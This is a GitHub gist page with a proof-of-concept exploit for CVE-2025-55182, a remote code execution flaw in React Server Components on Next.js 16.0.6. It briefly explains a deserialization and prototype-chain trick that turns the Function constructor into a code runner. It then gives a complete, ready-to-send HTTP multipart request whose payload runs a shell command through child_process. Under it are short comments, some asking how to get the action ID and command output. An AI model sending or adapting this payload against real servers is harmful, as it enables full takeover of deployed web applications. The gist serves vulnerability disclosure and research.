Skip to content

Instantly share code, notes, and snippets.

@maple3142
Last active December 5, 2025 09:10
Show Gist options
  • Select an option

  • Save maple3142/48bc9393f45e068cf8c90ab865c0f5f3 to your computer and use it in GitHub Desktop.

Select an option

Save maple3142/48bc9393f45e068cf8c90ab865c0f5f3 to your computer and use it in GitHub Desktop.
CVE-2025-55182 React Server Components RCE POC

POC for CVE-2025-55182 that works on Next.js 16.0.6

Core idea

Use the $@ deserialization to get a Chunk reference, and put Chunk.prototype.then as the then property of the root object. Then then would be invoked with root object as this/chunk when it is awaited/resolved.

By setting the status to RESOLVED_MODEL, now we can call initializeModelChunk with a fake chunk that is comlpetely in our control. This is particularly useful since itself and its related functions call many methods from the chunk._response object.

Exploit

The target is to trigger the Blob deserialization, which calls response._formData.get with payload from response._prefix and return the result directly. So all we need is to set response._formData.get to Function so the returned result would be a function with attacker controlled code, then put that to then again so it would be executed.

POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
@liuzhen9320
Copy link

good work

@yyyyyyyyuuuuuuu
Copy link

6

@Coldtears7
Copy link

吓的我关闭了服务器

@mlgzackfly
Copy link

niubi

@bx33661
Copy link

bx33661 commented Dec 5, 2025

good job

@Seven1an
Copy link

Seven1an commented Dec 5, 2025

wow

@0xshrimantyogi
Copy link

how to extract
Next-Action: x
ID

@EvtDanya
Copy link

EvtDanya commented Dec 5, 2025

is it possible to return the result of executing a command in response to a request? You will not be able to send to the collaborator due to network restrictions.

@N3Dx0o
Copy link

N3Dx0o commented Dec 5, 2025

E Z one

@0d000721999
Copy link

牛逼

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment